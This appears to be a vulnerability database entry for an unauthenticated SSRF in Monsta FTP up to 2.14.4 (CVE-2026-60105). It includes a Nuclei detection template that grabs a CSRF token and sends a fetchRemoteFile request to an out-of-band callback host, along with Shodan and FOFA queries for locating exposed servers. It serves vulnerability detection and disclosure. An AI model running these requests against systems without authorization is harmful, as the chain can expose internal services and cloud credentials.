Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-60105 | 8 Jul 202621:02 | – | attackerkb | |
| CVE-2026-60105 | 8 Jul 202622:01 | – | circl | |
| CVE-2026-60105 | 8 Jul 202621:02 | – | cve | |
| CVE-2026-60105 Monsta FTP < 2.14.5 SSRF via IPv4-Mapped IPv6 Address Bypass | 8 Jul 202621:02 | – | cvelist | |
| EUVD-2026-42427 | 8 Jul 202621:02 | – | euvd | |
| CVE-2026-60105 | 8 Jul 202621:16 | – | nvd | |
| PT-2026-56613 | 8 Jul 202600:00 | – | ptsecurity | |
| VulnCheck KEV: CVE-2026-60105 | 7 Sep 202600:00 | – | vulncheck_kev | |
| CVE-2026-60105 Monsta FTP < 2.14.5 SSRF via IPv4-Mapped IPv6 Address Bypass | 8 Jul 202621:02 | – | vulnrichment |
| Source | Link |
|---|---|
| vulncheck | www.vulncheck.com/blog/monsta-ftp-ssrf-ipv6-blocklist-bypass |
id: CVE-2026-60105
info:
name: Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass
author: chocapikk,DhiyaneshDk
severity: high
description: |
Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.
impact: |
An unauthenticated attacker can obtain a CSRF token from the public getSystemVars endpoint and submit a fetchRemoteFile request with a source URL resolving to an IPv4-mapped address, causing the server to issue HTTP requests to internal services and write responses to an attacker-controlled FTP destination, enabling retrieval of cloud instance metadata credentials.
remediation: Upgrade to Monsta FTP 2.14.5 or later.
reference:
- https://www.vulncheck.com/blog/monsta-ftp-ssrf-ipv6-blocklist-bypass
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-60105
epss-score: 0.00481
epss-percentile: 0.39839
cwe-id: CWE-918,CWE-184
metadata:
verified: true
max-request: 2
vendor: monsta
product: monsta-ftp
shodan-query: http.html:"Monsta FTP"
fofa-query: body="Monsta FTP"
tags: cve,cve2026,monsta,ftp,ssrf,oob,unauth,vkev
flow: http("get-csrf") && http("ssrf-probe")
http:
- id: get-csrf
raw:
- |
POST /mftp/application/api/api.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
request={"actionName":"getSystemVars","context":{}}
host-redirects: true
max-redirects: 2
matchers:
- type: word
words:
- "csrfToken"
internal: true
extractors:
- type: regex
name: csrf_token
regex:
- '"csrfToken"\s*:\s*"([a-f0-9]+)"'
group: 1
internal: true
- id: ssrf-probe
raw:
- |
POST /mftp/application/api/api.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-CSRF-Token: {{csrf_token}}
request={"actionName":"fetchRemoteFile","connectionType":"ftp","configuration":{"host":"{{interactsh-url}}","port":21,"username":"anonymous","password":"anonymous@","passive":true},"context":{"source":"http://{{interactsh-url}}/ssrf-probe","destination":"/"}}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
condition: or
# digest: 490a0046304402207556e0a0d676e474ed2b316a816629144f40044e67e7a6c9d32dcb5795846a740220497720eaa1d408bb72fde1e993f9ca619b9786fcfe11534e93526c9a436d4d33:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Sep 2026 02:58Current
CVSS 47.7
CVSS 3.18.6
EPSS0.00481
SSVC